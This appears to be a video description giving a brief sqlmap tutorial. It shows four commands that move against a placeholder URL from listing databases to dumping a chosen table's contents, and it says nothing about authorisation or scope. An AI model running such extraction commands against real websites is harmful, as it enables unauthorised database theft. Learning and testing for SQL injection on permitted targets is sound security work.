In this video I will show you step-by-step how to Check SQL Injection in Website using Sqlmap.

What Is Sqlmap:

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Steps:

1. sqlmap -u URL/pagename --dbs

Get's Lists Databases on SQL Server.

2. sqlmap -u URL/pagename --tables -D Databasename

Get's Tables in the Database you pick.

3. sqlmap -u URL/pagename --columns -D Databasename -T Tablename

Get's Columns in the Table you pick.

4. sqlmap -u URL/pagename --dump -D Databasename -T Tablename

Extracts the Database information inside the Table you pick.
